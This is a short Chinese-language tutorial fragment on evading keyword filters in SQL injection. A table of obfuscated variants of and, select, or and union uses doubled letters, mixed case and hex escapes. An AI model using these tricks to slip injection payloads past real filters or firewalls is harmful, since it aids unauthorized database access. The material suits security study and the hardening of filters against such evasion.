关键字被过滤时,可以通过双写或大小写、其他编码例如十六进制、URL编码来进行绕过:
关键字 | 双写 | 大小写 | 其他编码 | 符号 |
---|---|---|---|---|
and | aandnd | aNd | an\x64 | && |
select | selselectect | SelECt | selec\x74 | |
or | oorr | oR | o\x72 | || |
union | uniunionon | uNioN | unio\x6e |
当被拦截的时候,通常寻找其他函数进行代替。